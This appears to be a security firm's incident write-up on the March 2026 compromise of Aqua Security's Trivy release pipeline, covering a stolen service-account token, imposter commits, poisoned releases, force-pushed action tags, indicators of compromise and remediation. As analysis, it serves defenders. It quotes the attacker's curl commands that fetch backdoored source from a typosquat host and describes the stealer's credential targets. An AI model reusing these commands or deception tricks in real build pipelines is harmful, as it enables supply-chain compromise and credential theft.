20 Days Later: Trivy Compromise, Act II
TL;DR: Almost exactly one year after the tj-actions/changed-files compromise, history repeats. Twenty days after the February Pwn Request that we documented in our MegaGame10418 report, it appears highly likely that the same stolen PAT (never rotated?) was weaponized. On March 19, 2026, the attacker used a compromised Aqua Security service account (aqua-bot) to push a poisoned v0.69.4 release of Trivy, distributing backdoored binaries through GitHub Releases, Homebrew, AWS ECR, and 75 of 76 tags on the trivy-action GitHub Action.
Note: This article is published early in the interest of supporting ongoing community threat hunting efforts. Our investigation is still active, and we have not yet fully validated every detail. We will update this post as our analysis progresses. If you have additional evidence or corrections, please reach out to labs@boostsecurity.io.
Background: from Pwn Request to validated access
In our previous investigation, we documented how it appeared that MegaGame10418 was likely involved in stealing secrets from the aquasecurity/trivy CI pipeline via a Pwn Request on February 27, 2026. The attacker used a memory dump technique to exfiltrate runner secrets, including the aqua-bot service account PAT, which based on the name of the GitHub Actions secret that contains it (ORG_REPO_TOKEN) has repo scope (and likely even some admin scopes) across the aquasecurity org. This is a very risky setup given that the token is used in at least 33 GitHub Actions workflows across the organization.
On February 28, the hackerbot-claw campaign validated the stolen credentials. The smoking gun: aqua-bot created branches named 🤖🦞 on aquasecurity/trivy, the exact emoji name used by hackerbot-claw in their own PRs. This was a clear signal that the service account was compromised.
The hackerbot-claw and MegaGame10418 accounts were reported and banned. The malicious PRs were closed. But the critical remediation step (rotating aqua-bot’s PAT) was most likely not performed, given what happened next… That credential remained valid for 20 more days.
Phase 1: staging the attack
Between late February and mid-March, while aqua-bot’s legitimate automation continued normally (release-please branches, helm chart bumps, the v0.69.3 release on March 3), the attacker was quietly staging infrastructure.
Imposter commits
The attacker prepared two dangling commits, neither attached to any branch:
On actions/checkout (70379aad...): A commit forged as Guillermo Rauch (CEO of Vercel) with a plausible message: "Fix tag handling: preserve annotations and explicit fetch-tags (#2356)". This commit replaces the real Node.js checkout action with a composite action that downloads backdoored Go source files from scan.aquasecurtiy.org (note the typosquat: swapped i and t in “security”).
On aquasecurity/trivy (1885610c...): A commit forged as DmitriyLewen (a real Trivy maintainer) with the message "fix(ci): Use correct checkout pinning". This commit makes three changes to the release workflow:
- Pins
actions/checkoutto the imposter SHA (70379aad), which looks like a security best practice - Adds
--skip=validateto GoReleaser, bypassing build output validation - Scatters cosmetic quote-style changes throughout the YAML to bury the real modifications in diff noise
Both commits were unsigned. Neither repository enforces commit signing.
The typosquat domain
The imposter checkout action downloads four Go source files and a linter config override from scan.aquasecurtiy.org:
curl -sSfL https://scan.aquasecurtiy.org/static/main.go > cmd/trivy/main.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/scand.go > cmd/trivy/scand.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_unix.go > cmd/trivy/fork_unix.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_windows.go > cmd/trivy/fork_windows.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/.golangci.yaml > .golangci.yaml &> /dev/null
The domain resolves to 45.148.10.212 (TECHOFF SRV LIMITED, Amsterdam, Netherlands). The .golangci.yaml override suppresses linter warnings on the injected code, ensuring the backdoor passes CI lint checks. The &> /dev/null on every curl silently swallows errors.
The filenames tell the story: a replaced main.go entry point, a persistent scanning daemon (scand.go), and platform-specific process forking for Unix and Windows.
Per Socket.dev’s reverse engineering, the payload functions as an infostealer targeting runner process memory (the same /proc/[pid]/mem technique from the original MegaGame10418 payload, now compiled into the binary), SSH keys, cloud credentials (AWS, GCP, Azure), and Kubernetes service account tokens. This is a significant escalation from the February attack: what started as a bash script exfiltrating secrets to webhook.site became a compiled Go binary with a persistent daemon phoning home to a dedicated C2 server.
Phase 2: weaponization (March 19)
At 17:43:37 UTC on March 19, the attacker pushed tag v0.69.4 pointing to the poisoned commit 1885610. This triggered two workflows: the documentation deploy (which survives and serves as our timestamp evidence) and the Release workflow (which was later deleted during cleanup).
Eight minutes later, at 17:51:17 UTC, aqua-bot deleted a v0.70.0 tag. This reveals a botched first attempt: the attacker initially tried a higher version number, realized it would raise alarms (no v0.70.x release branch existed), deleted it, and fell back to v0.69.4 to blend into the existing release series.
The poisoned release pipeline
The Release workflow, executing from the poisoned commit’s workflow files, ran the following sequence:
- Logged into Docker Hub, GHCR, and AWS ECR using organization secrets
- “Checked out” code using the imposter
actions/checkout@70379aad, which silently downloaded the backdoor source fromaquasecurtiy.orginstead of performing a real checkout - Built multi-platform binaries with GoReleaser (
--skip=validatesuppressing validation) - Pushed Docker images to all three registries
- Published the GitHub Release with binary downloads and checksums
Based on the legitimate v0.69.3 release timing, the full build takes approximately 40 minutes. The poisoned release was published at 18:25:54 UTC.
Secrets exposed during the build
The workflow passes several high-value secrets, all available to the imposter checkout’s composite action:
| Secret | Exposure risk |
|---|---|
DOCKERHUB_USER / DOCKERHUB_TOKEN | Push additional malicious images |
ECR_ACCESS_KEY_ID / ECR_SECRET_ACCESS_KEY | Push to any ECR repo with these creds |
GPG_KEY / GPG_PASSPHRASE | Sign malicious artifacts as Aqua Security |
ORG_REPO_TOKEN | Cross-org access (likely the same or a similar PAT) |
Phase 3: downstream propagation
The poisoned v0.69.4 tag triggered four independent distribution channels. The attacker did not need to intervene further for three of them; existing automation propagated the backdoor.
Homebrew (fully automated, no human review)
At 18:05 UTC, BrewTestBot opened PR #273257 on Homebrew/homebrew-core. Homebrew builds from the source tarball, so the poisoned files baked into the tag’s tree were sufficient. The CI pipeline ran brew test-bot across six platforms, all tests passed (smoke tests only), and the PR was merged at 19:35:58 UTC. Backdoored bottles were live on the Homebrew CDN for all six platforms: macOS (arm64 Tahoe, Sequoia, Sonoma + x86_64 Sonoma) and Linux (arm64 + x86_64).
setup-trivy (manual re-release blitz)
At 22:06-22:08 UTC, nearly four hours after the Trivy release, aqua-bot published 7 releases on aquasecurity/setup-trivy in under three minutes (v0.1.0 through v0.2.5). This rewrote every historical version’s release artifacts. Users pinning setup-trivy@v0.2.x in their CI would resolve to the rewritten releases. No workflow runs were triggered on setup-trivy for this date, indicating the releases were created directly via the GitHub API.
trivy-action (76 tags force-pushed)
At 18:30 UTC, aqua-bot opened PR #538 on trivy-action to bump the default Trivy version to v0.69.4. This PR was closed without merging.
But the PR was a sideshow. Per Socket.dev’s analysis, the attacker force-pushed 75 out of 76 version tags on aquasecurity/trivy-action, rewriting them to serve malicious code. Only @0.35.0 was unaffected. Over 10,000 GitHub workflows reference this action.
Tag force-pushes are invisible to GitHub Archive event data: git push --force origin <tag> updates the ref without generating CreateEvent or DeleteEvent. This is a fundamental blind spot for event-based monitoring of tag-based supply chain attacks on Actions.
AWS ECR and Docker registries
GoReleaser pushed multi-arch images (amd64 + arm64) to public.ecr.aws/aquasecurity/trivy:0.69.4, docker.io/aquasec/trivy:0.69.4, and ghcr.io/aquasecurity/trivy:0.69.4.
Counter-incident-response tactics
The attacker actively worked to delay and disrupt the community’s response:
Discussion deletion: aqua-bot deleted discussion #10265, the original February incident thread where the community was coordinating. By removing the thread that linked MegaGame10418 to the attack, the attacker delayed recognition that the same stolen PAT was in play.
Spam bot flood: On the replacement discussion (#10420), 47 bot accounts posted generic praise comments (“thanks for the detailed explanation”, “worked perfectly for me”) within a 12-second window at 00:08 UTC on March 20, burying technical discussion. Two accounts posted taunts (“sugma and ligma, teampcp owns you”) at 00:01 UTC.
Two-thirds of the bot accounts were over 2 years old with real-looking activity profiles (repos, followers, stars). This is not a hastily assembled spam operation. The accounts were likely compromised dormant accounts or purchased from underground markets.
Stolen PAT scope analysis
The attacker’s actions reveal the stolen PAT had broad cross-repository permissions:
| Action | Repo | Permission implied |
|---|---|---|
| Push commits / create tags | trivy | contents: write |
| Delete tags (v0.70.0) | trivy | contents: write |
| Publish releases | trivy | contents: write |
| Publish releases | setup-trivy | contents: write (cross-repo) |
| Open PRs | trivy-action | pull_requests: write (cross-repo) |
| Delete discussion #10265 | trivy | discussions: write or admin |
The cross-repo write access and discussion deletion capability strongly suggest this was an org-scoped PAT, not a repo-scoped credential.
Deception techniques
| Technique | Effect |
|---|---|
| Dangling/orphan commits | Not on any branch; invisible to branch-based auditing |
| Forged git author (DmitriyLewen) | Blends into trivy’s git log as a real maintainer |
| Forged git author (rauchg) | High-profile OSS contributor; plausible for actions/checkout |
| Forged commit dates | Backdated to look like routine maintenance |
| Pin-by-SHA for checkout | Looks like a security best practice, but points to malicious code |
--skip=validate on GoReleaser | Single flag, easy to overlook, essential for the poisoned build |
| Quote-style reformatting | Cosmetic changes to dilute the diff |
| Typosquat domain | aquasecurtiy.org vs aquasecurity.org |
| v0.69.4 (not v0.70.0) | Blends into existing release series |
| Discussion deletion | Removed incident coordination thread |
| Spam bot flood | Drowned signal in noise |
Incident response (March 19-20)
The community response began around 21:07 UTC when Trivy maintainer nikpivkin started deleting the poisoned setup-trivy tags. By 21:43 UTC, a clean setup-trivy@v0.2.6 was published by simar7. William Woodruff (Trail of Bits) filed an emergency Homebrew PR (#273304) at 23:05 UTC to downgrade the formula to v0.69.3. The v0.69.4 tag on Trivy was deleted at 23:13 UTC.
The tag cleanup on setup-trivy removed all versions except v0.2.6, breaking CI pipelines pinned to the deleted versions (issue #31).
Detection timeline (Boost Security)
| Date | System | Detection |
|---|---|---|
| 2025-11-29 | Package Supply (poutine) | Vulnerability identified in aquasecurity/trivy workflows |
| 2026-01-05 | Package Supply (poutine) | Vulnerabilities in newrelic/test-oac-repository detected |
| 2026-02-27 | Package Threat Hunter | MegaGame10418 fork activity flagged |
| 2026-02-28 | Package Threat Hunter | hackerbot-claw campaign detected in attacker forks |
| 2026-03-19 | Package Threat Hunter | Anomalous aqua-bot tag deletion and release activity |
Our Package Threat Hunter flagged the anomalous aqua-bot activity on March 19 as it was happening: tag deletions and rapid-fire releases from a service account are not normal automation patterns.
Indicators of compromise
Accounts
MegaGame10418(GitHub ID 255326329): bannedhackerbot-claw(GitHub ID 262726662): banned
Commits (dangling, still reachable by SHA)
aquasecurity/trivy@1885610c6a34811c8296416ae69f568002ef11ec: workflow poisonactions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0: imposter action
Infrastructure
scan.aquasecurtiy.org(resolves to45.148.10.212, TECHOFF SRV LIMITED, Amsterdam): C2/payload hostwebhook.site/eaa1f5cc-ed33-4eec-bcde-14f0bac63908: exfiltration endpoint (February)
Artifacts (poisoned, since removed)
- GitHub Release:
aquasecurity/trivyv0.69.4 - Docker images:
aquasec/trivy:0.69.4,ghcr.io/aquasecurity/trivy:0.69.4,public.ecr.aws/aquasecurity/trivy:0.69.4 - Homebrew bottles:
trivy--0.69.4for 6 platforms - setup-trivy releases: v0.1.0 through v0.2.5
- trivy-action: 75 of 76 version tags force-pushed to malicious commits
Hashes
3350da5e45f99ec86eec5cb87efe84241d82a019822e4270facb818519778d12: poisonedv0.69.4.tar.gz3ca5fa62932273dd7eef3b6ec762625da42304ebb8f13e4be9fdd61545ca1773: known-goodv0.69.3.tar.gz
Remediation
- Rotate credentials immediately after any CI compromise. The 20-day gap between the February Pwn Request and the March weaponization was entirely preventable.
- Audit your workflows with poutine. We identified the vulnerable Trivy workflow on 2025-11-29, months before any attack.
- Pin actions by full SHA, but verify the commit. The attacker abused hash pinning by pointing to an imposter commit. Pinning only helps if the commit is legitimate.
- Enforce commit signing on release workflows. Both imposter commits were unsigned. Requiring signed commits on protected branches and release tags would have blocked this attack.
- Minimize PAT scope. An org-scoped PAT with write access across multiple repositories turned a single stolen credential into a multi-channel supply chain attack.
Credits
We want to thank fellow researchers who jumped on this and collaborated through back channels as the incident unfolded:
- Rami McCarthy for flagging the discussion thread that kicked off our investigation.
- Adnan Khan for sharing insights during the incident.
- Paul McCarty for jumping in to help between boarding passes on his way to RSAC.
- William Woodruff (Trail of Bits / Homebrew Security Team) for executing the emergency Homebrew takedown.
Additional credits:
- Socket.dev for their detailed reverse engineering of the malware payload and their discovery of the 76-tag force-push on
trivy-action. - StepSecurity for their detailed report on the v0.69.4 compromise.
bored-engineer(Luke Young) for confirming the compromise and sharing IoCs on discussion #10420.- The Aqua Security maintainers (
knqyf263,nikpivkin,simar7,itaysk) for their incident response.